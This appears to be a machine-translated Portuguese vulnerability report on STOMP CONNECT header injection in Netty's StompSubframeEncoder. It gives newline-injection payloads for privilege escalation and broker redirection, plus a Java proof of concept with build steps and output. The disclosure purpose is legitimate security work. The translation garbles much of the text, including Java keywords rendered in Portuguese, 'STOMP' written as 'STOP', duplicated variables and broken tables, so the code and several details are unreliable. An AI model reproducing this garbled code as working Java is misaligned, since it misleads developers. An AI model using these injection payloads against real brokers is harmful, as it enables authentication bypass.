# Relatório de vulnerabilidade de segurança: injeção de cabeçalho de quadros STOP CONNECT na Netty ## 1. Resumo da vulnerabilidade. Campo Valor----------------------------------------------------------------------------------------------------------------* 4.2.12.Final (e todas as versões anteriores com codec- stomp)... **Componente**.................................................................................................................. 93: Neutralização incorrecta das sequências do CRFF / CWE- 113: Neutralização incorrecta do CRFF em cabeçalhos HTTP **Impact**..................................................................................................................... 3.1 Pontuação**. ** 6.5 (médio)** ї **CVSS 3.1 Vector**. ` CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`. **Ataque Vector**. Rede **Ataque Complexidade**. Baixo. **Privilegios Obrigados**. Baixo. **Interação com o usuário**. Nenhum. **Abaixo. **Abaixo. **Abaixo. ## 2. Componentes afetados. - `io.netty.handler.codec.stomp.StompSubframeEncoder` — método `encodeHeaders()` (linhas) 174 - 200 ) - `io.netty.handler.codec.stomp.StompSubframeEncoder` — método `deveEscape()` (linhas) 214 - 216 ) ## 3. Descrição da vulnerabilidade. O codificador de código Netty STOP (`StompSubframeEncoder`) intencionalmente pula a função `escape()` para os comandos `CONNECT` e `CONNECTED`. Isto significa que os caracteres de linha nova (`\n`) nos valores de cabeçalho dos quadros CONNECT são escritos diretamente na saída, permitindo que um atacante injete cabeçalhos STOMP adicionais. Em `StompSubframeEncoder.java`, o método ` deblEscape()` (linhas) 214 - 216 ) exclui explicitamente os comandos CONNECT e CONNECTED de fuga: ```java privado estático booleano deveEscape(StompCommand comando) { retorno comando!= StompCommand.CONNECT & & & comando!= StompCommand.CONNECTED; } ``` Quando ` deverEscape()` devolve `false`, os valores do cabeçalho são escritos sem qualquer fuga (linha 195 ):.

```java CharSequence headerValue = deveEscape? escape(entry.getValue()): entry.getValue(); ByteBufUtil.writeUtf 8 (buf, headerValue); // Raw \n escrito para saída buf.writeByte(StompConstants.LF); ``` Para outros comandos (ENVIAR, SUBSCRIBE, etc.), o método ` escape()` (linhas) 218 - 240 ) converte corretamente `\n` para `\\n`, `\r` para `\\r`, `:` para `\\c` e `\\\` para `\\\\\`. ### Especificação STOP Análise de Contexto e Segurança. O STOP 1.2 especificação (Seção 10, Valor Codificação) afirma que os quadros CONNECTE e CONNECTED devem **não usar fuga**, para manter a compatibilidade reversa com STOMP 1.0 clientes que não entendem sequências de fuga. **No entanto, "não escapar" não significa "não validação".** A intenção da especificação é que os cabeçalhos CONNECT não devem usar a notação `\n` → `\\n` de fuga. Ele faz **não** ordenar que as implementações devem aceitar caracteres de linha nova brutos dentro dos valores do cabeçalho. Existe uma distinção crítica: - **Escapa** = converter `\n` para `\\n` no formato do fio (o especificação diz: não faça isso para CONNECT) - **Validação** = rejeitar valores de cabeçalho que contêm `\n` (o especifica não proíbe isso) A implementação da Netty combina estes dois conceitos: ao pular ` escape()`, também pula ** toda a proteção contra a injeção de linha nova. O comportamento correto seria pular a fuga, mas ainda assim **rejeitar** valores contendo caracteres de linha nova crus, uma vez que tais valores são inerentemente malformados — nenhum STOP legítimo 1.0 ou 1.2 O valor do cabeçalho deve conter um `\n` em bruto. Isto é análogo à própria correção SMTP da Netty (GHSA-jq 43 - 27 x 9 - 3 v 86 ): Os parâmetros SMTP também não precisam de fuga, mas Netty acrescentou validação para rejeitar o CRLF em parâmetros. O mesmo princípio deve ser aplicado aqui.

**Adicionalmente**, a própria suíte de testes da Netty valida explicitamente este comportamento de não escassez no `StompSubframeEncoderTest.java: 126 - 143 ` (`testNotEscapeStompHeadersForConnectCommand`), confirmando que esta é uma escolha de design deliberada — mas o teste só verifica que a fuga é pulada, não que a injeção é possível. As implicações de segurança não foram consideradas. ** Resumo**: A vulnerabilidade existe porque. 1. Os valores do cabeçalho nos quadros CONNECT não são **não foram evadidos nem validados** para novas linhas 2. Uma nova linha em bruto num valor de cabeçalho cria uma ** nova linha de cabeçalho** no fio 3. O corretor STOP analisa cada linha como um cabeçalho separado 4. A correção deve **validar** (rejeitar `\n`) em vez de **escape** (converter `\n` para `\\n`), mantendo a conformidade com especificações ## 4. Prerequisitos de exploração. Esta vulnerabilidade é explorável quando ** todas** das seguintes condições são preenchidas: 1. O aplicativo usa o módulo `codec- stomp` da Netty para codificar os quadros STOMP 2. A entrada controlada pelo usuário é colocada em valores de cabeçalho de um quadro `CONNECT' ou `CONNECTED' 3. O aplicativo **não** executa a sua própria desinfectação de linha nova 4. O broker STOP a jusante processa os cabeçalhos injetados (dependiente do broker) ** Casos de uso típicos afetados**: - aplicativos de proxy/portada STOMP que encaminham ou constroem quadros CONNECT com credenciais fornecidas pelo usuário - aplicativos de ponte Web-to-STOMP (por exemplo, proxys WebSocket-STOMP) onde o login/code passa a partir de formulários web - plataformas STOMP multi-inquilino onde os cabeçalhos específicos do locatário são injetados em quadros CONNECT ## 5. Cenários de ataque. Cenário 1: Bypass de autenticação via injeção de cabeçalho Um atacante que pode controlar qualquer valor de cabeçalho em um quadro CONNECT pode injetar cabeçalhos adicionais relacionados à autenticação:.

```java PredefinidoStompFrame = novo padrãoStompFrame(StompCommand.CONNECT); frame.headers(.set(StompHeaders.HOST, "localhost"); frame.headers(.set(StompHeaders.LOGIN, "guest"); // O atacante injecta um cabeçalho de papel através de \n em sexcode frame.headers(.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); **Formato de fio enviado para o corretor:** ``` CONNECT host:localhost login:senha do hóspede:password admin-role: true <-- HEADER INJECTADO <-- Linha vazia (fim dos cabeçalhos) \ 0 ``` O corretor recebe 5 cabeçalhos em vez do previsto 4. Se o corretor verificar se um cabeçalho `admin-role` permite obter privilégios elevados, o atacante evita a autenticação. Cenário 2: Sequestro de assinatura. ```java frame.headers(.set(StompHeaders.PASSCODE, "pass\nhost: evil-broker.com"); ``` Isto sobrescreve o cabeçalho do `host`, potencialmente redirecionando a conexão para um corretor STOP controlado pelo atacante (dependendo da implementação do corretor). Cenário 3: Sobrescrever o cabeçalho. ```java frame.headers(.set(StompHeaders.LOGIN, "user\nlogin:admin"); ``` ** Formato de fio:** ``` CONNECT login:user login:admin <-- INJECTADO, pode sobrepor primeiro... ```.

Alguns corretores usam o último valor quando existem cabeçalhos duplicados, permitindo que o atacante escale para a conta `admin`. ## 6. Prova de Conceito. ### Código Fonte de PoC Executável (StompConnectHeaderInjectionPoC.java) ``` java importa io.netty.buffer.ByteBuf; importa io.netty.buffer. Unpooling; importa io.netty.channel. embedded. EmbeddedChannel; importa io.netty.handler.codec. stomp.*; importar java.nio.charset. StandardCharsets. /** * PoC: STOMP CONNECT/CONNECTED Frame Header Injeção Vulnerabilidade * * Demonstra que StompSubframeEncoder pula escape() para CONNECT e * comandos CONNECTED, permitindo que \n injeção em valores de cabeçalho crie * cabeçalhos STOMP adicionais. */ classe pública StompConnectHeaderInjectionPoC { público vazio estático principal(String[] args) { System.out. println(")=== Netty STOP CONNECT Header Injection PoC ===\n"); testConnectHeaderInjection(); testConnectVsOtherCommand(). System.out.println("\n=== PoC Complete ==="); }.

/** * Teste 1: CONNECT injeção de cabeçalho de comando via \n em valor */ teste vazio estáticoConnectHeaderInjection() { System.out.println("[TEST 1 ] Injeção do valor do cabeçalho do CONNECT); System.out.println("-------------------------------------------"); // Criar um quadro CONNECT com \n no valor de senha O padrãoStompHeaders cabeçalhos = novo padrãoStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPT_VERSION, " 1.2 "); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); Frame padrãoStompFrame = novo Frame padrãoStomp(StompCommand.CONNECT); frame.headers(.setAll(headers). Canal de Channel incorporado = novo Channel incorporado(novo StompSubframeEncoder()); canal.writeOutbound(frame); O ByteBuf output = canal.readOutbound(); String codificado = output.toString(StandardCharsets.UTF_ 8 ); output. release(); canal.finishAnd ReleaseAll(); System.out.println("Passcode de entrada: \"password\\nadmin-role:true\"); System.out.println(); System.out.println("Modelo STOMP codificado:"); System.out.println("---"); // Mostrar com caracteres de controle visíveis para (Linha de controle: codificado.split("\n", - 1 )) { System.out.println(" " + line.replace("\r", "\\r").replace("\ 0 ", "\\ 0 ")); } System.out. println("---"); // Verifique se o cabeçalho injectado aparece como uma linha separada do booleano tem o cabeçalho injectado = falso; linhas de String[] = codificado.split("\n"); para (linha de string: linhas) { se (linha. inicieCom("admin-role:")) { tem o cabeçalho injectado = true; break; } }.

System.out.println(); System.out.println("Injetado 'real de administração' aparece como cabeçalho separado: " + tem Cabeça Injetada); System.out.println("VULNERÁVEL: " + (tem Cabeça Injetada? "YES - Injeção de cabeçalho em moldura CONNECT!": "NÃO")); // Contar cabeçalhos STOMP reais (linhas entre o comando e linha vazia) int headerCount = 0; boolean inHeaders = false; for (Linha de String: linhas) { se (line.equals("CONNECT")) { inHeaders = true; continue; } se (inHeaders & & & line.trim(). isEmpty()) break; se (inHeaders & & & line.contém(:")) headerCount++; } System. out. println("Headers esperados: 4 (host, accept-version, login, senha)"); System.out.println("Headers atuais: " + headerCount); System.out.println(); } /** * Teste 2: Compare CONNECT (sem fuga) vs SEND (com fuga) */ teste estático de vazioConnectVsOtherCommand() { System.out.println("[TEST 2 ] CONNECT vs ENVIAR Comparação de Escape"); System.out.println("-----------------------------------------------------------"); Corda maliciosaValue = "valor\ninjected: mal". // Teste CONNECT (sem fuga) { O padrão de cabeçalhos de cabeçalhos de cabeçalhos = novo o padrão de cabeçalhos de cabeçalhos de cabeçalhos de cabeçalhos(); o padrão de cabeçalhos.set (o padrão de cabeçalhos de cabeçalhos.HOST, "localhost"); o padrão de cabeçalhos.set ("custom", maliciosoValue); Frame padrãoStompFrame = novo Frame padrãoStomp(StompCommand.CONNECT); frame.headers(. setAll(headers); IncorporadoChannel canal = novo EmbeddedChannel(novo StompSubframeEncoder()); canal.writeOutbound(frame); O ByteBuf output = canal.readOutbound(); String codificado = output.toString(StandardCharsets.UTF_ 8 ); output. release(); canal.finishAnd ReleaseAll();.

System.out.println("Connect frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Codificado: " + codificado.replace("\n", "\\\n").replace("\n"). 0 ", "\\ 0 ")); boolean hasRawNewline = codificado. contém("valor\ninjected:evil"); System.out.println(" Raw \\n na saída: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline? "Sim": "Não")); } System.out. println(). // Test SEND (com fuga) { DefaultStompHeaders headers = novo DefaultStompHeaders(); headers.set(StompHeaders. DESTINAÇÃO, "/ queue/ test"); headers.set("custom", maliciosoValue); PadrãoStompFrame = novo PadrãoStompFrame(StompCommand.SEND); frame.headers(. setAll(headers); IncorporadoChannel canal = novo EmbeddedChannel(novo StompSubframeEncoder()); canal.writeOutbound(frame); O ByteBuf output = canal.readOutbound(); String codificado = output.toString(StandardCharsets.UTF_ 8 ); output. release(); canal.finishAnd ReleaseAll(); System.out.println("ENVIAR quadro com custom=\"value\\ninjected:evil\":"); System.out.println(" codificado: " + codificado.replace("\n", "\\n").replace("\n"). 0 ", "\\ 0 "));.

boolean hasEscapedNewline = codificado.contém("valor\\ninjected\\cevil"); boolean hasEscapedNewline = codificado.contém("valor\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline & & &! hasRawNewline? "YES": "NÃO")); } System.out.println(); } } ``` ### Como compilar e executar. ````bash # Construir Netty (teste de descarte para velocidade)./mvnw instalar -pl comum, buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Definir classpath JARS=$( encontrar ~/.m 2 /repository/io/ netty - nome "netty- *.jar" - caminho "*/ 4.2.12.Final/*" \. grep - v fontes. grep - v javadoc. tr '\n' ': ') # Compilar e executar javac - cp "$JARS" StompConnectHeaderInjeçãoPoC.java java - cp "$JARS:." StompConnectHeaderInjeçãoPoC ``` ### Saída de execução de PoC (Verificado na Netty 4.2.12. Final). ``` === Netty STOPP CONNECT Header Injection PoC === [PESSO 1 ] INjecção do valor do cabeçalho do CONNECT ------------------------------------------ Código de entrada: "password\nadmin-role:true".

Frame STOMP codificado: --- CONNECT host:localhost accepta- versão: 1.2 login:user selection:password admin-role:true <-- HEADER INJECTADO Injetado 'admin-role' aparece como cabeçalho separado: verdadeiro VULNERÁVEL: SIM - Injeção de cabeçalho no quadro CONNECT! Cabeçalhos esperados: 4 (host, accept-version, login, selection) Cabeçalhos reais: 5 [PESSO 2 ] CONNECT vs ENVIAR Comparação de Escape ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 0 Raw \n na saída: VULNERÁVEL verdadeiro: SIM Enviar o quadro com custom="value\ninjected: mal": codificado: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\ 0 Escapou \n: verdadeiro Raw \n: falso SEGURO: SIM === PoC Completo === ```. O PoC demonstra uma inconsistência clara: - comando **CONNECT**: `\n` está escrito **raw** → a injeção de cabeçalho é bem sucedida - comando **SEND**: `\n` está escapado para `\\n` → a injeção de cabeça é evitada ## 7. Análise de Impacto. Categoria de Impacto Descrição: ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------.